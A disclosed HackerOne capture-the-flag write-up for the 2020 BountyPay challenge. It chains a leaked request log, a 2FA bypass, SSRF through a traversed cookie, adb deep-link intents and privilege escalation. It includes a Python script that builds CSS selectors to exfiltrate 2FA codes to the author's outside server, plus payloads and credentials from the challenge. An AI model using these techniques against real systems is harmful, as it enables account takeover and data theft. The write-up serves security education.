HexBrain

h1-ctf · Report #893305

[H1-2006 2020] CTF Writeup

Validstatus
criticalseverity
11upvotes
22 Jun 2020disclosed

How it was found

Summary:

Multiple Vulnerabilities leading to full account takeover and access to restricted functions

  1. Information Disclosure
  2. Login 2FA Bypass
  3. SSRF
  4. Hardcoded validation
  5. Sensitive information disclosure
  6. Privilege Escalation
  7. Payments 2FA Bypass through SSRF

Steps To Reproduce:

  1. Recon

I got some information about the subdomains with certspotter

certspotter bountypay.h1ctf.com

api.bountypay.h1ctf.com
app.bountypay.h1ctf.com
bountypay.h1ctf.com
software.bountypay.h1ctf.com
staff.bountypay.h1ctf.com
www.bountypay.h1ctf.com
  1. Information Disclosure

Doing some directory brute force to https://app.bountypay.h1ctf.com found a /.git/ directory with config file.

{F858119}

This config file is linked to a github repo https://github.com/bounty-pay-code/request-logger.git

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/bounty-pay-code/request-logger.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

In this repo exist only one file called logger.php who explains how the website logs request and looks like this

<?php
$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

in simple words, every line contains the timestamp and a base 64 encoded json string with request information. Then looked for bp_web_trace.log in https://app.bountypay.h1ctf.com/bp_web_trace.log and decoded the base64 string:

Original:
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

Decoded:
1588931909:{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
1588931919:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
1588931928:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
1588931945:{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

Bingo! got first credentials

username: brian.oliver password: V7h0inzX

  1. Login 2FA Bypass

Logging in with this credentials there was a 2FA

{F858126}

This form contains a hidden field called challenge with md5 hash and the challenge_answer with user input.

<form method="post" action="/">
    <input type="hidden" name="username" value="brian.oliver">
    <input type="hidden" name="password" value="V7h0inzX">
    <input type="hidden" name="challenge" value="832985fb487bcae88db2fc144fc15378">
    <div class="panel panel-default" style="margin-top:50px">
        <div class="panel-heading">Login</div>
        <div class="panel-body">
            <div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div>
            <div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div>
            <div><input name="challenge_answer" class="form-control"></div>
        </div>
    </div>
    <input type="submit" class="btn btn-success pull-right" value="Login">
</form>

After some tests i realized the challenge field is just md5(challenge_answer) and does not validate the number of characters of the answer. So if you send:

challenge = 0cc175b9c0f1b6a831c399e269772661 -> md5(a) or any string challenge_answer = a

You can bypass 2FA.

  1. Server Side Request Forgery

In the user session the pay button makes a get request to statements?month=MONTH_NUMBER&year=YEAR and get a json response. Making a request with month=05 and year=2020 i got:

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&year=2020",
  "data": "{\"description\":\"Transactions for 2020-05\",\"transactions\":[]}"
}

Additionally, the cookie is a base64-encoded json string

eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

decoded:
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

So, the account_id is in the response and should be usefull to get SSRF.

Going to https://api.bountypay.h1ctf.com/ found

<div class="container">
    <div class="row">
        <div class="col-sm-6 col-sm-offset-3">
            <div class="text-center" style="margin-top:30px"><img src="/images/bountypay.png" height="150"></div>
            <h1 class="text-center">BountyPay API</h1>
            <p style="text-align: justify">Our BountyPay API controls all of our services in one place. We use a <a href="/redirect?url=https://www.google.com/search?q=REST+API">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>
        </div>
    </div>
</div>

This url https://api.bountypay.h1ctf.com/redirect?url= has a whitelist and cannot "redirect" to any site so i had to move on a little. On the other side, the url https://software.bountypay.h1ctf.com/ shows an 401 Unauthorized message.

{F858176}

The message "You do not have permission to access this server from your IP Address" is the hint to test this url in redirect.

Testing redirect with software url https://api.bountypay.h1ctf.com/redirect?url=https://software.bountypay.h1ctf.com/ from cookie like this:

decoded:
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}

base64-encoded:
eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0=

Response

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 15:10:37 GMT
Content-Type: application/json
Connection: close
Content-Length: 1605

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/#\/statements?month=04&year=2020","data":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage<\/title>\n    <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage<\/h1>\n            <form method=\"post\" action=\"\/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login<\/div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n                        <div><input name=\"username\" class=\"form-control\"><\/div>\n                        <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n                    <\/div>\n                <\/div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            <\/form>\n        <\/div>\n    <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"}

Got SSRF!

At this time, just need to find some sensitive directory or file in software subdomain, so i generate a cookie payload list with python using the dirsearch dictionary, import it in burp intruder and process payload with base64 encoding.

#!/usr/bin/python3
file = open("payloads.txt","a") 
with open('dicc.txt') as fp:
   line = fp.readline()
   while line:
       url = 'https://software.bountypay.h1ctf.com/{}/#'.format(line.strip())
       l = '{"account_id":"../../redirect?url=%s","hash":"de235bffd23df6995ad4e0930baac1a2"}' % url
       file.write(l+'\n') 
       line = fp.readline()
file.close()

Send the request to intruder and import payload list. {F858200} {F858201}

Then found an apk in https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
Time to analize apk file!

  1. Hardcoded validation

Extracting apk file and reading AndroidManifest.xml got some interesting information

<activity android:label="@string/title_activity_part_three" android:name="bounty.pay.PartThreeActivity" android:theme="@style/AppTheme.NoActionBar">
            <intent-filter android:label="">
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:host="part" android:scheme="three"/>
            </intent-filter>
        </activity>
        <activity android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity" android:theme="@style/AppTheme.NoActionBar">
            <intent-filter android:label="">
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:host="part" android:scheme="two"/>
            </intent-filter>
        </activity>
        <activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
            <intent-filter android:label="">
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:host="part" android:scheme="one"/>
            </intent-filter>
        </activity>

Using dex2jar to get jar file from apk and openning jar file with JDGui

dex2jar BountyPay.apk

{F858209}

PartOneActivity

 if (getIntent() != null && getIntent().getData() != null) {
      String str = getIntent().getData().getQueryParameter("start");
      if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
        str = sharedPreferences.getString("USERNAME", "");
        SharedPreferences.Editor editor = sharedPreferences.edit();
        String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
        editor.putString("PARTONE", "COMPLETE").apply();
        logFlagFound(str, str1);
        startActivity(new Intent(this, PartTwoActivity.class));
      } 
    } 

Part one require an intent with start parameter equals to "PartTwoActivity". An reading the intents in manifest

<data android:host="part" android:scheme="one"/>
<data android:host="part" android:scheme="two"/>
<data android:host="part" android:scheme="three"/>

Sending intent with adb.

adb shell am start -a "android.intent.action.VIEW" -d "one://part?start=PartTwoActivity"

Same method in PartTwoActivity

if (getIntent() != null && getIntent().getData() != null) {
      Uri uri = getIntent().getData();
      String str1 = uri.getQueryParameter("two");
      String str2 = uri.getQueryParameter("switch");
      if (str1 != null && str1.equals("light") && str2 != null && str2.equals("on")) {
        editText.setVisibility(0);
        button.setVisibility(0);
        textView.setVisibility(0);
      } 
    } 
adb shell am start -a "android.intent.action.VIEW" -d "two://part?two=light\&switch=on"

Now some md5 hash is on the screen, copy it and try to crack it.

459a6f79ad9b13cbcb5f692d2cc7a94d = Token

Finally PartThreeActivity

if (getIntent() != null && getIntent().getData() != null) {
      Uri uri = getIntent().getData();
      final String firstParam = uri.getQueryParameter("three");
      final String secondParam = uri.getQueryParameter("switch");
      final String thirdParam = uri.getQueryParameter("header");
      byte[] arrayOfByte2 = Base64.decode(str1, 0);
      byte[] arrayOfByte1 = Base64.decode(str2, 0);
      final String decodedFirstParam = new String(arrayOfByte2, StandardCharsets.UTF_8);
      final String decodedSecondParam = new String(arrayOfByte1, StandardCharsets.UTF_8);
      this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() {
            public void onCancelled(DatabaseError param1DatabaseError) { Log.e("TAG", "onCancelled", param1DatabaseError.toException()); }
            public void onDataChange(DataSnapshot param1DataSnapshot) {
              String str = (String)param1DataSnapshot.getValue();
              if (firstParam != null && decodedFirstParam.equals("PartThreeActivity") && secondParam != null && decodedSecondParam.equals("on")) {
                String str1 = thirdParam;
                if (str1 != null) {
                  StringBuilder stringBuilder = new StringBuilder();
                  stringBuilder.append("X-");
                  stringBuilder.append(str);
                  if (str1.equals(stringBuilder.toString())) {
                    editText.setVisibility(0);
                    button.setVisibility(0);
                    PartThreeActivity.this.thread.start();
                  } 
                } 
              } 
            }
          });
    } 

three=base64('PartThreeActivity') switch=base64('on')

adb shell am start -a "android.intent.action.VIEW" -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"

In other window i started logcat to capture app output.

adb -d logcat bounty.pay:I

{F858224}

HOST IS: : http://api.bountypay.h1ctf.com
TOKEN IS: : 8e9998ee3137ca9ade8f372739f062c1
HEADER VALUE AND HASH : X-Token: 8e9998ee3137ca9ade8f372739f062c1

Insert leaked hash and submit.

{F858220} Bingo! all android challenges completed.

  1. Sensitive information disclosure

At this time i can consume api with X-Token.

Brute forcing api directories to get endpoints to consume.

400 -   22B  - /api/accounts/login
400 -   22B  - /api/accounts/signin
400 -   22B  - /api/accounts/logon
200 -  104B  - /api/staff
200 -  104B  - /api/staff/

Then open https://api.bountypay.h1ctf.com/api/staff and send to burp repeater to add X-Token header

Request

GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1

Response

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:13:50 GMT
Content-Type: application/json
Connection: close
Content-Length: 104

[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

Changing the request to POST and sent staff_id with retrieved data request:

POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

staff_id=STF:KE624RQ2T9

Response

HTTP/1.1 409 Conflict
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:16:32 GMT
Content-Type: application/json
Connection: close
Content-Length: 39

["Staff Member already has an account"]

So i needed to find a new staff member to activate. Got twitter information from https://twitter.com/BountypayHQ and found a welcome tweet https://twitter.com/BountypayHQ/status/1258692286256500741 There is the new member and need to activate her account.

Looking for who is following bountypayhq account https://twitter.com/bountypayhq/following

And finally found Sandra's twitter account https://twitter.com/SandraA76708114

{F858267}

So finally got the staff id to activate the account.

staff_id=STF:8FJ3KFISL3
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:38:13 GMT
Content-Type: application/json
Connection: close
Content-Length: 110

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

Bingo! got another credentials

username: sandra.allison password: s%3D8qB8zEpMnc*xsz7Yp5

Time to log in https://staff.bountypay.h1ctf.com/

  1. Privilege Escalation

After logging in staff site, found some interesting function.

Avatar change: sets avatar value in div class

website.js:

$('.upgradeToAdmin').click(function () {
  let t = $('input[name="username"]').val();
  $.get('/admin/upgrade?username=' + t, function () {
    alert('User Upgraded to Admin')
  })
}),
$('.tab').click(function () {
  return $('.tab').removeClass('active'),
  $(this).addClass('active'),
  $('div.content').addClass('hidden'),
  $('div.content-' + $(this).attr('data-target')).removeClass('hidden'),
  !1
}),
$('.sendReport').click(function () {
  $.get('/admin/report?url=' + url, function () {
    alert('Report sent to admin team')
  }),
  $('#myModal').modal('hide')
}),
document.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));

So, there is a way to escalate privileges reporting a url who triggers upgradeToAdmin function with sandra.allison username. Changing avatar to "tab4 upgradeToAdmin" i can control the execution of upgradeToAdmin function through url with #tab4, but the username was undefined.

https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582#tab4 

to avoid undefined username, tried to get login template and ticket template together. Then had everything working together and reported base64 encoded path.

decoded
/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4

encoded
Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjQK

Got admin privileges and another credentials.

username: marten.mickos password: h&H5wy2Lggj*kKn4OD&Ype

Finally, Marten Mickos account! Time to go back to https://app.bountypay.h1ctf.com/

  1. Payments 2FA Bypass through SSRF

Logged in with marten.mickos credentials and bypassing 2FA mentioned before (1), retrieved payments for 05/2020 {F858290}

Pressing pay button got new 2FA page. {F858292}

Analyzing send challenge request

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Origin: https://app.bountypay.h1ctf.com
Connection: close
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
Upgrade-Insecure-Requests: 1

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

The request sends a css url, so tried the same request with my server url got request from remote server...and SSRF again!.

3.21.98.146 - - [07/Jun/2020 18:11:47] code 404, message File not found
3.21.98.146 - - [07/Jun/2020 18:11:47] "GET /test HTTP/1.1" 404 -

Reading something about css data exfiltration, i found something who helped me and created python script.

#/bin/python3

import string

css = 'css/uni_2fa_style.css'
hostname = 'https://leoastorga.com:3000'

def name(x):
    file = open(css,'w')
    for s in (string.ascii_letters + string.digits + '-_'):
        line = "input[name^='%s'] {background: url('%s/%s');}" % (x+s, hostname, x+s)
        print(line)
        file.write(line+'\n')
    file.close()

if __name__ == "__main__":
    input = input("str: ")
    while(input != 'exit'):
        name(input)
        input = input("str: ")

Sent my css url and executing python script to update it, retrieved information about field names. There is a input field for each character!!

app_style=https://leoastorga.com:3000/css/uni_2fa_style.css
3.21.98.146 - - [07/Jun/2020 18:23:56] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:23:56] "GET /c HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:00] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:01] "GET /co HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:08] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:08] "GET /cod HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:14] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:15] "GET /code HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:21] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:21] "GET /code_ HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:29] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_7 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_1 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_2 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_3 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_4 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_5 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:24:30] "GET /code_6 HTTP/1.1" 404 -

adding some function to my python script to retrieve the information for each field.

#/bin/python3
import string

css = 'css/uni_2fa_style.css'
hostname = 'https://leoastorga.com:3000'

def name(x):
    file = open(css,'w')
    for s in (string.ascii_letters + string.digits + '-_'):
        line = "input[name^='%s'] {background: url('%s/%s');}" % (x+s, hostname, x+s)
        print(line)
        file.write(line+'\n')
    file.close()

def value():
    file = open(css,'w')
    for s in (string.ascii_letters + string.digits):
        for i in range(1,8):
            line = "input[name='code_%d'][value^='%s'] {background: url('%s/%d_%s');}" % (i, s, hostname, i, s)
            print(line)
            file.write(line+'\n')
    file.close()

if __name__ == "__main__":
    value()
    #input = input("str: ")
    #while(input != 'exit'):
    #    name(input)
    #    input = input("str: ")

Then executed every thing together and got the following response

3.21.98.146 - - [07/Jun/2020 18:17:59] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /7_i HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /1_0 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /2_8 HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /3_P HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /4_V HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /5_F HTTP/1.1" 404 -
3.21.98.146 - - [07/Jun/2020 18:18:00] "GET /6_J HTTP/1.1" 404 -

Sort by field number got "O8PVFJi", sent the 2FA code and paid the bountys!

{F858313}

Flag: ==^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$==

Supporting Material/References:

https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/

Impact

By chaining multiple vulnerabilities attacker can achieve full account takeover and access to restricted functions.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original